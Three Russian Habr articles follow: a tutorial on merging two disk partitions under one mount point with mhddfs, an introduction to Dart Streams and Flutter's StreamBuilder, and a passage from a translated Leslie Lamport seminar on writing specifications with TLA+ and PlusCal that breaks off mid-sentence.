Честно говоря, никогда не задумывался о такой возможности, пока не попался клиент с подобным пожеланием. Поначалу мне показалось что это невозможно, но покопавшись в интернете нашел пару интересных статей. За основу в работе была взята статья с сайта [hotbits.ru](http://hotbits.ru/2013/04/%D0%BC%D0%BE%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BD%D0%B5%D1%81%D0%BA%D0%BE%D0%BB%D1%8C%D0%BA%D0%B8%D1%85-%D1%80%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D0%BE%D0%B2-%D0%B2-%D0%BE/). Но в статье монтировали разделы одного и того же диска, мне же предстояло смонтировать разделы с разных дисков. Как оказалось, нет никакой разницы.
В качестве операционной системы использовалась *Ubuntu 14.04*.
Первое что необходимо сделать, это создать сами разделы.
В моём случае это был раздел */dev/sda3* находящийся на системном диске и раздел */dev/sdb1*, который занимал весь второй диск.
Монтируем оба раздела. Для этого в */mnt* создадим точки монтирования.
```
~# mkdir /mnt/sda3
~# mkdir /mnt/sdb1
~# mount /dev/sda3 /mnt/sda3
~# mount /dev/sdb1 /mnt/sdb1
```
Смотрим что получилось
```
~# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 85G 1.1G 79G 2% /
none 4.0K 0 4.0K 0% /sys/fs/cgroup
udev 3.9G 4.0K 3.9G 1% /dev
tmpfs 796M 412K 796M 1% /run
none 5.0M 0 5.0M 0% /run/lock
none 3.9G 0 3.9G 0% /run/shm
none 100M 0 100M 0% /run/user
/dev/sda3 826G 73M 784G 1% /mnt/sda3
/dev/sdb1 917G 72M 871G 1% /mnt/sdb1
```
Далее устанавливаем специальную утилиту **mhddfs**, которая и позволит нам объеденить оба эти раздела в один.
```
~# apt-get install mhddfs
```
Монтировать оба раздела будем в директорию в */home*.
Для этого выполним:
```
~# mhddfs /mnt/sda3,/mnt/sdb1 /home
mhddfs: directory '/mnt/sda3' added to list
mhddfs: directory '/mnt/sdb1' added to list
mhddfs: mount to: /home
mhddfs: move size limit 4294967296 bytes
```
Проверим
```
~# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 85G 1.2G 79G 2% /
none 4.0K 0 4.0K 0% /sys/fs/cgroup
udev 3.9G 4.0K 3.9G 1% /dev
tmpfs 796M 412K 796M 1% /run
none 5.0M 0 5.0M 0% /run/lock
none 3.9G 0 3.9G 0% /run/shm
none 100M 0 100M 0% /run/user
/dev/sda3 826G 73M 784G 1% /mnt/sda3
/dev/sdb1 917G 72M 871G 1% /mnt/sdb1
/mnt/sda3;/mnt/sdb1 1.8T 144M 1.7T 1% /home
```
Всё смонтировалось и в итоге мы имеем вместо двух раздельных точек монтирования размером 826Гб и 917Гб, одну объёмом 1.8Tб.
В оригинальной статье использовалась опция монтирования *-o allow\_other*, которая позволяет иметь доступ к разделу другим пользователям, но мне она не нужна, потому что пользователь в системе один.
А теперь отмонтируем (или размонтируем) */home* и сделаем так, чтобы разделы монтировались при загрузке системы. Это естественно, никто не будет каждый раз монтировать разделы вручную, но для монтирования во время загрузки нужно добавить модуль **fuse**.
```
~# echo "fuse" >> /etc/modules
```
И теперь подправим */etc/fstab* добавив в него следующие строки:
```
/dev/sda3 /mnt/sda3 ext4 defaults 0 2
/dev/sdb1 /mnt/sdb1 ext4 defaults 0 2
mhddfs#/mnt/sda3,/mnt/sdb1 /home fuse defaults,mlimit=10G 0 0
```
*mlimit=10G* показывает, что на любом из разделов должно оставаться не менее 10 гигабайт свободного места. Это значит, что если свободного места останется 10 гигабайт, то на этот раздел больше не будет производиться запись.
И теперь осталось проверить всё ли мы правильно прописали в *fstab*. Делаем:
```
~# mount -a
mhddfs: directory '/mnt/sda3' added to list
mhddfs: directory '/mnt/sdb1' added to list
mhddfs: mount to: /home
mhddfs: move size limit 10737418240 bytes
```
Ошибок нет, следовательно всё в порядке. Проверяем:
```
~# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 85G 1.2G 79G 2% /
none 4.0K 0 4.0K 0% /sys/fs/cgroup
udev 3.9G 4.0K 3.9G 1% /dev
tmpfs 796M 412K 796M 1% /run
none 5.0M 0 5.0M 0% /run/lock
none 3.9G 0 3.9G 0% /run/shm
none 100M 0 100M 0% /run/user
/dev/sda3 826G 73M 784G 1% /mnt/sda3
/dev/sdb1 917G 72M 871G 1% /mnt/sdb1
/mnt/sda3;/mnt/sdb1 1.8T 144M 1.7T 1% /home
```
Всё на месте, задача выполнена. Для уверенности можете перезагрузить систему.
И кстати, копировать файлы можно как в объединённую директорию */home*, так и в директории */mnt/sda3* или */mnt/sdb1*. Файлы всё равно появляются в */home* как будто они лежат на одном разделе. Причём подмечено, что если копировать в */home*, то файлы копируются на раздел, который находится первым в порядке монтирования, то есть на *sda3*. Предполагаю, что это будет происходить до тех пор, пока не будет достигнут лимит в 10 Гб, и только затем файлы начнут копироваться на *sdb1*.
На этом всё.
P.S. Если верить источнику, то монтировать в одну директорию можно более двух разделов и с разными файловыми системами. На практике я это не проверял, подтвердить не могу. | https://habr.com/ru/post/264853/ | null | ru | null |
# Основы Dart Streams
Это вторая часть моей серии по поводу Flutter Architecture:
* [Введение](https://habr.com/ru/post/448776/)
* **Основы Dart Streams (этот пост)**
* [RxDart: магические трансформации потоков](https://habr.com/ru/post/451292/)
* [Основы RxVMS: RxCommand и GetIt](https://habr.com/ru/post/449872/)
* RxVMS: Службы и Менеджеры
* RxVMS: самодостаточные виджеты
* Аутентификация пользователя посредством RxVMS
Потоки являются основным строительным блоком **RxVMS**, их понимание является абсолютно необходимым условием для работы с этой библиотекой, так что мы подробнее остановимся на них в этом посте.
Оказалось, что включение Rx в этот пост сделало бы его слишком длинным, поэтому я разделил его на две части.
Пусть течет
-----------
Я читаю множество комментов, что дескать потоки, и особенно Rx, слишком сложны для понимания и, как следствие, для использования.
Мне бы хотелось, чтобы вы знали, что я не считаю себя гуру Rx. Освоить всю мощь его нелегко, и я признаю, что продолжаю учиться. Но позвольте мне с самого начала исправить одно заблуждение: **вам не нужно быть волшебником Rx, чтобы начать получать массу преимуществ от использования потоков и этой технологии**. Я приложу максимум усилий, чтобы объяснить вам потоки наиболее доступным образом.
Что такое потоки?
-----------------
На мой взгляд наилучшей аналогией потоков является лента конвейера. Вы можете положить что-либо на один его конец и это "что-либо" автоматически перенесется на другой. В отличие от физического конвейера потоки манипулируют объектами данных, перенося их автоматически от начала — но куда? Как и в реальном конвейере, если нет ничего такого, что бы уловило данные на другом конце, они просто "упадут" и исчезнут (это, конечно не вполне верно для Dart Streams, но лучше всего обращаться с потоками, как будто это именно так).
Дабы избежать потери данных, вы можете установить "ловушку" на выходе потока. Так вы сможете улавливать данные и производить нужные манипуляции с ними всякий раз, когда объекты данных будут достигать конца потока.
**Помните:**
* Если ловушка не установлена, данные просто пропадут навсегда и не будет способа получить их снова (опять же, не совсем так с Dart Streams, но вам лучше притворяться, что это так)
* После отправки данных в поток вам не нужно приостанавливать выполнение программы и ждать, пока они достигнут конца, все это происходит в фоне.
* Ловушка может принять данные в любое время, совсем необязательно сразу после отправки (но волноваться не следует, потоки на самом деле очень быстрые). Представьте, что вы не знаете, как быстро или как долго движется "ремень конвейера". Это означает, что помещение чего-либо в поток полностью отделено от реакции на элемент на другом конце. Ваша ловушка сработает и поймает предмет, когда он попадет туда. (Некоторые из вас уже могут понять, что это хорошо вписывается в реактивный способ, которым Flutter обновляет свои виджеты)
* Вы можете установить ловушку задолго до того, как начнется работа и появится первый элемент
* Поток работает по принципу FIFO. Данные всегда приходят в порядке их размещения в поток.
А что такое Rx?
---------------
Rx, сокращенно от Reactive Extensions (реактивные расширения), — это потоки "на стероидах". Это концепция, очень похожая на Streams, которая была изобретена для .Net framework командой Microsoft. Так как .Net уже имел тип Stream, который используется для файлового ввода-вывода, они назвали Rx-потоки **Observables** и создали множество функций для манипулирования данными, проходящими через них. Dart имеет Streams, встроенные в его языковую спецификацию, которые уже предлагают большую часть этой функциональности, но не все. Вот почему был разработан пакет RxDart; он основан на Dart Streams, но расширяет их функциональность. Я рассмотрю Rx и RxDart в следующей части этой серии.
Немного терминов
----------------
Dart Streams и Rx используют некоторую терминологию, которая может выглядеть страшновато, поэтому вот перевод. Сначала идет термин Dart, потом Rx.
* **Stream/Observable**. Это "конвейер", описанный ранее. Stream может быть преобразован в Observable и везде, где ожидается Stream, можно присваивать Observable. Так что не путайтесь, если я буду смешивать эти термины в процессе объяснения
* **listen/subscribe** — установка ловушки-**слушателя**
* **StreamController/Subject**. "Левая" сторона конвейерной ленты, где вы помещаете данные в Stream. Они немного отличаются по своим свойствам и характеристикам, но служат одной и той же цели
* **Emitting an item/data**. Момент, когда данные появляются на выходе из "конвейера"
Создание потока
---------------
Если вы собираетесь продолжать изучать тему, пожалуйста, [клонируйте этот проект](https://github.com/escamoteur/stream_rx_tutorial) с примерами. Я буду использовать систему тестов Dart/Flutter.
Для создания потока вы создаете [StreamController](https://api.dartlang.org/dev/2.0.0-dev.69.5/dart-async/StreamController-class.html)
```
var controller = new StreamController();
controller.add("Item1"); // Отправляем первый элемент в поток
```
Шаблонный тип (в данном случае String) передаваемый при создании StreamController определяет тип объектов, которые мы можем отправлять в поток. Это может быть ЛЮБОЙ тип! Вы можете создать при желании `StreamController>()` и поток будет передавать лист целиком вместо одного объекта.
Установка ловушки
-----------------
Если вы запускали указанный тест, то ничего не смогли увидеть, ведь ничто не отловило нашу строку на выходе потока. Теперь установим ловушку:
```
var controller = new StreamController();
controller.stream.listen((item) => print(item)); // ловушка
controller.add("Item1");
controller.add("Item2");
controller.add("Item3");
```
Теперь ловушка установлена, используя метод `.listen()`. Запись выглядит `controller.stream.listen`, но если вы прокрутите это задом наперед, словно какой-нибудь альбом из 60-х, то проявится истинный смысл написанного: "слушать поток данного контроллера"
Вам необходимо передать в метод `.listen()` некию функцию, чтобы как-то манипулировать с пришедшими данными. Функция должна принимать параметр типа, указанного при создании StreamController, в данном случае это String.
Если вы запустите вышеуказанный код, то увидите
```
Item1
Item2
Item3
```
По моему, наибольшей проблемой для новичков в Streams является то, что можно определить реакцию для испускаемого элемента задолго до того, как первый элемент будет помещен в поток, запуская вызов этой реакции.
Завершение прослушивания
------------------------
Код выше упустил маленькую, но важную часть. `listen()` возвращает `StreamSubscription` — объект подписки на поток. Вызов его метода `.cancel()` завершает подписку, освобождая ресурсы, и предупреждая вызов вашей прослушивающей функции после того, как это стало ненужным.
```
var controller = new StreamController();
StreamSubscription subscription = controller.stream.listen((item) => print(item)); // This is the Trap
controller.add("Item1");
controller.add("Item2");
controller.add("Item3");
// Это сделано для того, чтобы среда тестирования не убила этот процесс
// до того, как все объекты из Stream были обработаны
await Future.delayed(Duration(milliseconds: 500));
subscription.cancel;
```
Подробности о слушателях
------------------------
Функция для `listen()` может быть как лямбдой, так и простой функцией.
```
void myPrint(String message) {
print(message);
}
StreamSubscription subscription = controller.stream.listen((item) => print(item)); // использование лямбда-функции
StreamSubscription subscription2 = controller.stream.listen(myPrint); // использование обычной функции
StreamSubscription subscription3 = controller.stream.listen((item) {
print(item);
print(item.toUpperCase);
}); // лямбда-блок
```
**Важное замечание: большинство Dart-потоков позволяют только разовую подписку, то есть на них нельзя подписываться повторно после завершения подписки — это вызовет исключение. Это их отличие от других реализаций Rx.**
Полная сигнатура `listen()` выглядит так:
```
/* excerpt from the API doc
* The [onError] callback must be of type `void onError(error)` or
* `void onError(error, StackTrace stackTrace)`. If [onError] accepts
* two arguments it is called with the error object and the stack trace
* (which could be `null` if the stream itself received an error without
* stack trace).
* Otherwise it is called with just the error object.
* If [onError] is omitted, any errors on the stream are considered unhandled,
* and will be passed to the current [Zone]'s error handler.
* By default unhandled async errors are treated
* as if they were uncaught top-level errors.
*
* If this stream closes and sends a done event, the [onDone] handler is
* called. If [onDone] is `null`, nothing happens.
*
* If [cancelOnError] is true, the subscription is automatically canceled
* when the first error event is delivered. The default is `false`.
*/
StreamSubscription listen(void onData(T event),
{Function onError, void onDone(), bool cancelOnError});
```
Это означает, что вы можете сделать больше, чем просто передать один обработчик для отправленных данных. Вы также можете иметь обработчик для ошибок, и другой для закрытия потока со стороны контроллера (`onDone`). Исключения, которые вызываются изнутри Stream, будут вызывать `onError()`, если вы его предоставите, **в противном случае они просто проглатываются, и вы никогда не узнаете, что что-то пошло не так.**
Пример Flutter-потоков
----------------------
*Чтобы облегчить понимание следующих глав, я сделал отдельную ветку репозитория.*
[Пожалуйста, склонируйте ее](https://github.com/escamoteur/stream_rx_tutorial/tree/counter_stream)
В качестве первого примера я взял хорошо известное приложение-счетчик, которое вы получаете при создании нового проекта Flutter, и немного его реорганизовал. Я добавил класс модели для хранения состояния приложения, которое в основном является значением счетчика:
```
class Model {
int _counter = 0;
StreamController _streamController = new StreamController();
Stream get counterUpdates => \_streamController.stream;
void incrementCounter() {
\_counter++;
\_streamController.add(\_counter);
}
}
```
здесь вы можете увидеть очень типичный шаблон: вместо публикации всего StreamController, мы просто публикуем его свойство Stream.
Чтобы сделать Модель доступной для UI, я сделал ее статическим полем в объекте App, потому что не хотел вводить InheritedWidget или ServiceLocator. Для простого примера это сойдет с рук, но я бы не стал делать это в настоящем приложении!
Добавим в `main.dart`:
```
class _MyHomePageState extends State {
int \_counter = 0;
StreamSubscription streamSubscription;
@override
void initState() {
streamSubscription = MyApp.model.counterUpdates.listen((newVal) => setState(() {
\_counter = newVal;
}));
super.initState();
}
// Хотя этот State не будет уничтожен, пока приложение работает,
// хороший стиль требует освобождать подписки явно
@override
void dispose() {
streamSubscription?.cancel();
super.dispose();
}
```
`initState()` хорошее место для установки слушателя, и, будучи добропорядочными гражданами Darts, мы всегда освобождаем подписку в `dispose()`, верно?
В дереве виджетов нам просто нужно адаптировать обработчик onPressed кнопки FAB (кнопка с плавающим действием).
```
floatingActionButton: new FloatingActionButton(
onPressed: MyApp.model.incrementCounter,
tooltip: 'Increment',
child: new Icon(Icons.add),
),
```
Этим способом мы создали чистое разделение между View и Model, используя Stream.
Применяем StreamBuilder
-----------------------
[Источник](https://github.com/escamoteur/stream_rx_tutorial/tree/streambuilder)
Вместо использования `initState()` и `setState()` для наших нужд Flutter поставляется с удобным виджетом `StreamBuilder`. Как вы уже догадались, он принимает функцию Stream и метод-строитель, вызывающийся всякий раз, когда Stream выдает новое значение. И теперь нам не нужны явные инициализация и освобождение:
```
body: new Center(
child: new Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
new Text(
'You have pushed the button this many times:',
),
StreamBuilder(
initialData: 0,
stream: MyApp.model.counterUpdates,
builder: (context, snappShot) {
String valueAsString = 'NoData';
if (snappShot != null && snappShot.hasData) {
valueAsString = snappShot.data.toString();
}
return Text(
valueAsString,
style: Theme.of(context).textTheme.display1,
);
}),
],
),
),
```
Мы почти закончили, обещаю. Вот три вещи, которые полезно знать:
* большое преимущество использования StreamBuilder по сравнению с первым решением состоит в том, что вызов `setState()` в `listen()` всегда перестраивает всю страницу, тогда как StreamBuilder будет вызывать только свой `builder`
* Переменная `snapShot` содержит самые последние данные, полученные из Stream. Всегда проверяйте, что она содержит действительные данные, прежде чем ее использовать
* Исходя из принципов инициализации во время, StreamBuilder не может получить значение во время самого первого кадра. Чтобы обойти это, мы передаем значение для `initialData`, которое используется для первой сборки, то есть для первого кадра экрана. Если мы не передадим `initialData`, наш билдер в первый раз будет вызван с недопустимыми данными. Альтернативой использованию `initialData` является возврат виджета- плейсхолдера, если `snapShot` невалиден, который отображается до тех пор, пока мы не получим действительные данные, например:
```
// Предположим, что наш поток базируется на некотором обновлении в базе данных
StreamBuilder(
stream: MyApp.model.databaseUpdates,
builder: (context, snappShot) {
if (snappShot != null && snappShot.hasData) {
return Text(
snappShot.data.toString(),
style: Theme.of(context).textTheme.display1,
);
}
// Пока мы не получим действительные данные, мы крутим Spinner
return CircularProgressIndicator ();
})
```
В следующем посте мы рассмотрим, как преобразовать данные в наших потоках и сделать это на лету. Большое спасибо [Scott Stoll](https://twitter.com/scottstoll2017) за чтение корректуры и важные отзывы.
--- | https://habr.com/ru/post/450950/ | null | ru | null |
# Программирование — больше, чем кодинг
Это статья-перевод [Стэнфордского семинара](https://www.youtube.com/watch?v=6QsTfL-uXd8). Но перед ней небольшое вступление. Как образуются зомби? Каждый попадал в ситуацию, когда хочется подтянуть друга или коллегу до своего уровня, а не получается. Причём «не получается» не столько у тебя, сколько у него: на одной чаше весов находится нормальная зарплата, задачи и так далее, а на другой — необходимость думать. Думать неприятно и больно. Он быстро сдаётся и продолжает писать код, совершенно не включая мозг. Ты представляешь, насколько много сил нужно потратить, чтобы преодолеть барьер выученной беспомощности, и просто не делаешь этого. Так образуются зомби, которых вроде бы можно вылечить, но вроде бы и никто этим заниматься не станет.
Когда я увидел, что [Лесли Лэмпорт](https://ru.wikipedia.org/wiki/%D0%9B%D1%8D%D0%BC%D0%BF%D0%BE%D1%80%D1%82,_%D0%9B%D0%B5%D1%81%D0%BB%D0%B8) (да-да, тот самый товарищ из учебников) [приезжает в Россию](https://hydraconf.ru/2019/talks/6evatt1mvwvpnwfxxveivw/?utm_source=habr&utm_medium=454898) и делает не доклад, а сессию вопросов-ответов, я немного насторожился. На всякий случай, Лесли — всемирно известный учёный, автор основополагающих работ в распределённых вычислениях, а ещё вы его можете знать по буквам La в слове LaTeX — «Lamport TeX». Вторым настораживающим фактором является его требование: каждый, кто придёт, должен (совершенно бесплатно) заранее прослушать пару его докладов, придумать по ним минимум один вопрос и только тогда уже приходить. Решил посмотреть, что там Лэмпорт вещает — и это великолепно! Это в точности та штука, волшебная ссылка-таблетка для лечения зомбятины. Предупреждаю: от текста может знатно подгореть у любителей сверхгибких методологий и нелюбителей тестировать написанное.
После хаброката, собственно, начинается перевод семинара. Приятного чтения!
---
За какое бы задание вы ни взялись, вам всегда нужно пройти три шага:
* определиться, какой цели вы хотите достичь;
* решить, как именно вы будете добиваться своей цели;
* прийти к своей цели.
Это касается и программирования. Когда мы пишем код, нам необходимо:
* решить, что именно должна делать программа;
* определить, как именно она должна выполнять свою задачу;
* написать соответствующий код.
Последний шаг, конечно, очень важен, но о нем я говорить сегодня не буду. Вместо этого мы обсудим первые два. Их выполняет каждый программист прежде, чем начать работать. Вы не садитесь писать, если не решили, что именно пишете: браузер или базу данных. Определенное представление о цели обязательно должно присутствовать. И вы обязательно продумываете, что именно программа будет делать, а не пишете кое-как в надежде, что код сам как-нибудь превратится в браузер.
Как именно происходит это предварительное продумывание кода? Сколько усилий нам следует на это тратить? Все зависит от того, насколько сложную проблему мы решаем. Предположим, мы хотим написать отказоустойчивую распределенную систему. В этом случае нам следует обдумать все как следует, прежде чем садиться за код. А если нам просто нужно увеличить целочисленную переменную на 1? На первый взгляд, здесь все тривиально, и никаких размышлений не нужно, но потом мы вспоминаем, что может произойти переполнение. Поэтому, даже для того, чтобы понять, простая проблема или сложная — вначале нужно подумать.
Если предварительно продумать возможные решения проблемы, можно избежать ошибок. Но для этого нужно, чтобы ваше мышление было ясным. Чтобы этого добиться, нужно записывать свои мысли. Мне очень нравится цитата Дика Гиндона: «Когда вы пишете, природа демонстрирует вам, насколько неряшливо ваше мышление». Если вы не пишете, вам только кажется, что вы мыслите. А записывать свои мысли нужно в форме спецификаций.
Спецификации выполняют множество функций, в особенности в крупных проектах. Но я буду говорить только об одной из них: они помогают нам ясно мыслить. Ясно мыслить очень важно и довольно трудно, поэтому здесь нам нужно любое подспорье. На каком языке нам следует писать спецификации? Это вообще всегда первый вопрос для программистов: на каком языке мы будем писать. Одного правильного ответа на него нет: проблемы, которые мы решаем, слишком многообразные. Для некоторых полезен TLA+ — это язык спецификаций, который я разработал. Для других удобнее пользоваться китайским. Все зависит от ситуации.
Более важен другой вопрос: как добиться более ясного мышления? Ответ: мы должны мыслить как ученые. Это способ мышления, который отлично зарекомендовал себя за последние 500 лет. В науке мы строим математические модели реальности. Астрономия была, пожалуй, первой наукой в строгом смысле этого слова. В математической модели, используемой в астрономии, небесные тела предстают как точки с массой, положением и импульсом, хотя в реальности они являются крайне сложными объектами с горами и океанами, приливами и отливами. Эта модель, как и любая другая, создана для решения определенных задач. Она отлично подходит для того, чтобы определить, куда нужно направить телескоп, если нужно найти планету. Но если вы хотите предсказать погоду на этой планете, эта модель не подойдет.
Математика позволяет нам определить свойства модели. А наука показывает, как эти свойства соотносятся с реальностью. Поговорим о нашей науке, computer science. Реальность, с которой мы работаем — это вычислительные системы самых разных видов: процессоры, игровые консоли, компьютеры, выполняющие программы и так далее. Я буду говорить о выполнении программы на компьютере, но, по большому счету, все эти выводы применимы к любой вычислительной системе. В нашей науке мы используем множество различных моделей: машина Тьюринга, частично упорядоченные множества событий и многие другие.
Что такое программа? Это любой код, который можно рассматривать самостоятельно. Предположим, нам нужно написать браузер. Мы выполняем три задачи: проектируем представление программы для пользователя, затем пишем высокоуровневую схему программы, и, наконец, пишем код. По ходу написания кода мы понимаем, что нам нужно написать средство для форматирования текста. Здесь нам опять нужно решить три задачи: определить, какой текст это средство будет возвращать; выбрать алгоритм для форматирования; написать код. У этой задачи своя подзадача: правильно вставлять дефис в слова. Эту подзадачу мы тоже решаем в три шага — как видим, они повторяются на многих уровнях.
Рассмотрим более подробно первый шаг: какую задачу решает программа. Здесь мы чаще всего моделируем программу как функцию, которая получает некоторые входные данные и дает некоторые данные на выходе. В математике функция обычно описывается как упорядоченное множество пар. Например, функция возведения в квадрат для натуральных чисел описывается как множество {<0,0>, <1,1>, <2,4>, <3,9>, ...}. Область определения такой функции — множество первых элементов каждой пары, то есть натуральные числа. Чтобы определить функцию, нам нужно указать ее область определения и формулу.
Но функции в математике — это не то же, что функции в языках программирования. Математика значительно проще. Поскольку на сложные примеры у меня времени нет, рассмотрим простой: функция в языке С или статический метод в Java, возвращающий наибольший общий делитель двух целых чисел. В спецификации этого метода мы напишем: вычисляет `GCD(M,N)` для аргументов `M` и `N`, где `GCD(M,N)` — функция, область определения которой — множество пар целых чисел, а возвращаемое значение — наибольшее целое число, на которое делится `M` и `N`. Как с этой моделью соотносится реальность? Модель оперирует с целыми числами, а в C или Java мы имеем 32-битный `int`. Эта модель позволяет нам решить, правилен ли алгоритм `GCD`, но она не предотвратит ошибки переполнения. Для этого потребовалась бы более сложная модель, на которую нет времени.
Поговорим об ограничениях функции как модели. Работа некоторых программ (например, операционных систем) не сводится к тому, чтобы вернуть определенное значение для определенных аргументов, они могут выполняться непрерывно. Кроме того, функция как модель плохо подходит для второго шага: планирования способа решения задачи. Быстрая сортировка и сортировка пузырьком вычисляют одну и ту же функцию, но это совершенно разные алгоритмы. Поэтому для описания способа достижения цели программы я использую другую модель, назовем ее стандартная поведенческая модель. Программа в ней представлена как множество всех допустимых поведений, каждое из которых, в свою очередь, является последовательностью состояний, а состояние — это присвоение значений переменным.
Давайте посмотрим, как будет выглядеть второй шаг для алгоритма Евклида. Нам нужно вычислить `GCD(M, N)`. Мы инициализируем `M` как `x`, а `N` как `y`, затем повторно отнимаем меньшую из этих переменных от большей до тех пор, пока они не будут равны. Например, если `M = 12`, а `N = 18`, мы можем описать следующее поведение:
`[x = 12, y = 18] → [x = 12, y = 6] → [x = 6, y = 6]`
А если `M = 0` и `N = 0`? Ноль делится на все числа, поэтому наибольшего делителя в этом случае нет. В этой ситуации нам нужно вернуться к первому шагу и спросить: действительно ли нам нужно вычислять НОД для неположительных чисел? Если в этом нет необходимости, то нужно просто изменить спецификацию.
Здесь следует сделать небольшое отступление о продуктивности. Её часто измеряют в количестве строк кода, написанных за день. Но ваш труд значительно полезнее, если вы избавились от определенного количества строк, потому что у вас стало меньше места для багов. И избавляться от кода проще всего именно на первом шаге. Вполне возможно, что вам просто не нужны все те навороты, которые вы пытаетесь реализовать. Самый быстрый способ упростить программу и сэкономить время — не делать вещи, которые не стоит делать. Второй шаг — на втором месте по потенциалу для экономии времени. Если вы измеряете продуктивность в количестве написанных строк, то продумывание способа выполнения задачи сделает вас *менее продуктивными*, поскольку вы сможете решить ту же задачу меньшим объемом кода. Точную статистику я здесь привести не могу, поскольку у меня нет способа посчитать то количество строк, которые я не написал благодаря тому, что потратил время на спецификацию, то есть на первый и второй шаги. И эксперимент тут тоже не поставить, потому что в эксперименте мы не имеем права выполнить первый шаг, задание определено заранее.
В неформальных спецификациях легко не учесть многие трудности. Ничего сложного в написании строгих спецификаций для функций нет, обсуждать это я не буду. Вместо этого мы поговорим о написании строгих спецификаций для стандартных поведенческих моделей. Есть теорема, которая гласит, что любое множество поведений можно описать с помощью свойства безопасности *(safety)* и свойства живучести *(liveness)*. Безопасность означает, что ничего плохого не произойдет, программа не выдаст неверный ответ. Живучесть означает, что рано или поздно произойдет что-то хорошее, т. е. программа рано или поздно даст правильный ответ. Как правило, безопасность является более важным показателем, ошибки чаще всего возникают именно здесь. Поэтому для экономии времени я не буду говорить об живучести, хотя она, конечно, тоже важна.
Мы добиваемся безопасности, прописывая, во-первых, множество возможных исходных состояний. И, во-вторых, отношения со всеми возможными следующими состояниями для каждого состояния. Будем вести себя как ученые и определим состояния математически. Набор исходных состояний описывается формулой, например, в случае алгоритма Евклида: `(x = M) ∧ (y = N)`. Для определенных значений `M` и `N` существует только одно исходное состояние. Отношение со следующим состоянием описывается формулой, в которой переменные следующего состояния записываются со штрихом, а текущего состояния — без штриха. В случае с алгоритмом Евклида мы будем иметь дело с дизъюнкцией двух формул, в одной из которых `x` является наибольшим значением, а во второй — `y`:
В первом случае новое значение y равно прежнему значению y, а новое значение x мы получаем, отняв от большей переменной меньшую. Во втором случае мы делаем наоборот.
Вернемся к алгоритму Евклида. Предположим вновь, что `M = 12`, `N = 18`. Это определяет единственное исходное состояние, `(x = 12) ∧ (y = 18)`. Затем мы подставляем эти значения в формулу выше и получаем:
Здесь единственное возможное решение: `x' = 18 - 12 ∧ y' = 12`, и мы получаем поведение: `[x = 12, y = 18]`. Точно так же мы можем описать все состояния в нашем поведении: `[x = 12, y = 18] → [x = 12, y = 6] → [x = 6, y = 6]`.
В последнем состоянии `[x = 6, y = 6]` обе части выражения будут ложны, следовательно, следующего состояния у него нет. Итак, мы имеем полную спецификацию второго шага — как видим, это вполне обычная математика, как у инженеров и ученых, а не странная, как в computer science.
Эти две формулы можно объединить в одну формулу темпоральной логики. Она элегантна и объяснить ее нетрудно, но на неё сейчас нет времени. Темпоральная логика нам может понадобиться только для свойства живости, для безопасности она не нужна. Темпоральная логика как таковая не нравится, это не вполне обычная математика, но в случае с живостью она является необходимым злом.
В алгоритме Евклида для каждого значения `x` и `y` есть уникальные значения `x'` и `y'`, которые делают отношение со следующим состоянием истинным. Другими словами, алгоритм Евклида детерминированный. Чтобы смоделировать недетерминированный алгоритм, нужно, чтобы у текущего состояния было несколько возможных будущих состояний, и чтобы у каждого значения переменной без штриха было несколько значений переменной со штрихом, при которых отношение со следующим состоянием является истинным. Это несложно сделать, но сейчас приводить примеры я не буду.
Чтобы сделать работающий инструмент, нужна формальная математика. Как сделать спецификацию формальной? Для этого нам понадобится формальный язык, например, [TLA+](https://en.wikipedia.org/wiki/TLA%2B). Спецификация алгоритма Евклида будет на этом языке выглядеть следующим образом:
Символ знака равенства с треугольником означает, что значение слева от знака определено как равное значению справа от знака. В сущности, спецификация — это определение, в нашем случае два определения. К спецификации в TLA+ нужно добавить объявления и некоторый синтаксис, как на слайде выше. В ASCII это будет выглядеть так:
Как видим, ничего сложного. Спецификацию на TLA+ можно проверить, т. е. обойти все возможные поведения в небольшой модели. В нашем случае этой моделью будут определенные значения `M` и `N`. Это очень эффективный и простой способ проверки, который целиком выполняется автоматически. Кроме того, можно написать формальные доказательства истинности и проверить их механически, но для этого нужно много времени, поэтому так почти никто не делает.
Главный недостаток TLA+ в том, что это математика, а программисты и computer scientists боятся математики. На первый взгляд это звучит как шутка, но, к сожалению, я говорю это на полном серьезе. Мой коллега только что рассказывал мне, как он пытался объяснить TLA+ нескольким разработчикам. Как только на экране появились формулы, у них сразу же сделались стеклянные глаза. Так что если TLA+ пугает, можно использовать [PlusCal](https://en.wikipedia.org/wiki/PlusCal), это своего рода игрушечный язык программирования. Выражение в PlusCal может быть любым выражением TLA+, то есть, по большому счету, любым математическим выражением. Кроме того, в PlusCal есть синтаксис для недетерминистичных алгоритмов. Благодаря тому, что в PlusCal можно записать любое выражение TLA+, он является значительно более выразительным любого реального языка программирования. Далее, PlusCal компилируется в легко читаемую спецификацию TLA+. Это не значит, конечно, что сложная спецификация PlusCal превратится в простую на TLA+ — просто соответствие между ними очевидное, не появится дополнительной сложности. Наконец, эту спецификацию можно будет проверить инструментами TLA+. В общем, PlusCal может помочь преодолеть фобию математики, его легко понять даже программистам и computer scientists. В прошлом я какое-то время (около 10 лет) публиковал на нем алгоритмы.
Возможно, кто-то возразит, что TLA+ и PlusCal — это математика, а математика работает только на придуманных примерах. На практике же нужен реальный язык с типами, процедурами, объектами и так далее. Это не так. Вот, что пишет Крис Ньюкомб, работавший в Amazon: *«Мы использовали TLA+ в десяти крупных проектах, и в каждом случае его использование вносило значительный вклад в разработку, потому что мы смогли отловить опасные баги до попадания в продакшн, и потому что он дал нам понимание и уверенность, необходимые для агрессивных оптимизаций производительности, не влияющих на истинность программы»*. Часто можно услышать, что при использовании формальных методов мы получаем неэффективный код — на практике же все ровно наоборот. Кроме того, бытует мнение, что менеджеров невозможно убедить в необходимости формальных методов, даже если программисты убеждены в их полезности. А Ньюкомб пишет: *«Менеджеры теперь всячески подталкивают к тому, чтобы писать спецификации на TLA+, и специально выделяют на это время»*. Так что когда менеджеры видят, что TLA+ работает, они с радостью его принимают. Крис Ньюкомб написал это где-то шесть месяцев тому назад (в октябре 2014 года), сейчас же, насколько я знаю, TLA+ используется в 14 проектах, а не 10. Другой пример относится к проектированию XBox 360. К Чарльзу Текеру пришел стажер 